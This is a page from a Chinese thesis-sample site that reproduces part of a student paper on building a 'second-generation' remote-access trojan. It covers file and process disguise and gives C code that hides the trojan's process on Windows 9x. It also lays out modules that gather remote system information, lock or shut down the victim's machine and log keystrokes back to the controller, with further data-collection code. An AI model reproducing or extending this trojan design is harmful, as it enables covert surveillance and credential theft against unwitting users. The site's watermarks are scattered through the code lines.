论文无忧网提供:计算机毕业论文范文|计算机毕业设计|计算机毕业论文
栏目导航 ASP Java Web .NET VB6.0 JAVA VC VF DELPHI PB 计算机网络 计算机科学与技术 PHP 安卓APP 其他 C# 代写论文
当前位置: > 计算机 > 计算机科学与技术 >

第二代木马的研究与实现(论文+程序)

从某种意义上讲,伪装是一种很好的隐藏。木马病毒的伪装主要有文件伪装和进程伪装。前者除了将文件属性改为隐藏之外, 大多通过采用一些比较类似于系统文件的文件名来隐蔽自己;而后者则是利用用户对系统了解的不足,将自己的进程名设为与系统进程类似而达到隐藏自己的目的。 copyright paper51.com

(2)进程隐藏

paper51.com

木马病毒进程是它驻留在系统中的最好证据, 若能够有效隐藏自己的进程, 显然将大大提高木马病毒的隐蔽性。在WINDOWS9X系统中可以通过将自己设为系统进程来达到隐藏进程的目的。具体可通过以下代码来实现: 内容来自论文无忧网 www.paper51.com

WINAPI WinMain(HINSTANCE,HINSTANCE,LPSTR,int) http://www.paper51.com

{

paper51.com

DWORDdwVersion = GetVersion();//取得Windows的版本号 paper51.com

if(dwVersion >= 0x80000000) // Windows 9x隐藏任务列表 paper51.com

{

http://www.paper51.com

int(CALLBACK *rsp)(DWORD,DWORD); 内容来自论文无忧网 www.paper51.com

HINSTANCEdll=LoadLibrary("KERNEL32.DLL");//加载kernel32.dll 内容来自论文无忧网 www.paper51.com

rsp=(int(CALLBACK*)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");//找到RegisterServiceProcess入口地址

内容来自论文无忧网 www.paper51.com

rsp(NULL,1);//将该程序注册为服务进程

paper51.com

FreeLibrary(dll);//释放DLL模块 copyright paper51.com

} copyright paper51.com

return0; http://www.paper51.com

} 内容来自论文无忧网 www.paper51.com

3.5 系统总体设计 http://www.paper51.com

如图2所示木马程序的Client端,采用VC++编写,程序名为TROY.EXE。 paper51.com

内容来自www.paper51.com

图2 Client端效果图 paper51.com

本木马一共有4个模块,分别为:远程系统信息获取模块,远程系统功能限制模块,信息发送模块,击键记录模块。 内容来自论文无忧网 www.paper51.com

远程系统信息获取模块: copyright paper51.com

把远程主机的操作系统版本、计算机名、内存大小、当前进程等多项系统数据记录,发送并回显至Client端;

copyright paper51.com

远程系统功能限制模块: http://www.paper51.com

对远程主机进行远程注销、远程重启、远程关机、锁定鼠标、锁定键盘等多项功能限制,提高木马的生存性; copyright paper51.com

信息发送模块:

paper51.com

向Server端发送消息,可以达到善意的提醒;

copyright paper51.com

击键记录模块: 内容来自论文无忧网 www.paper51.com

记录远程主机用户的击键记录,发送并回显至Client端。

内容来自www.paper51.com

4 第二代木马的实现

http://www.paper51.com

木马的编写采用C/S结构,Client上的每一个按钮相当于向Server发送一个字母消息,在Server中会有相应的函数进行判断,根据收到的字母进行函数调用以实现功能。 内容来自论文无忧网 www.paper51.com

4.1 远程信息获取模块

内容来自论文无忧网 www.paper51.com

4.1.1 获取远程系统信息 paper51.com

该功能模块运行界面如图3所示,主要调用了四个API函数:

内容来自论文无忧网 www.paper51.com

内容来自论文无忧网 www.paper51.com

图3 查看远程系统信息 内容来自论文无忧网 www.paper51.com

GetSystemInfo:返回当前系统的信息 paper51.com

GlobalMemoryStatus:获得当前可用的物理和虚拟内存信息

内容来自www.paper51.com

GetVersionEx:返回当前操作系统的版本信息 内容来自论文无忧网 www.paper51.com

GetSystemMetrics:返回与windows环境有关的信息

paper51.com

核心代码如下: 内容来自论文无忧网 www.paper51.com

//取得系统信息 内容来自www.paper51.com

CStringDisplayString,cpu,Memory,os,osps,display;

paper51.com

SYSTEM_INFO SystemInfo;

paper51.com

::GetSystemInfo(&SystemInfo); http://www.paper51.com

//获取内存信息 http://www.paper51.com

MEMORYSTATUS MemoryStatus; http://www.paper51.com

MemoryStatus.dwLength=sizeof(MEMORYSTATUS);

http://www.paper51.com

::GlobalMemoryStatus(&MemoryStatus); 内容来自www.paper51.com

char buffer[20];

内容来自论文无忧网 www.paper51.com

//返回总的物理内存大小,以字节单位

http://www.paper51.com

wsprintf(buffer,"%dbytes",MemoryStatus.dwTotalPhys);

http://www.paper51.com

------分隔线----------------------------
联系方式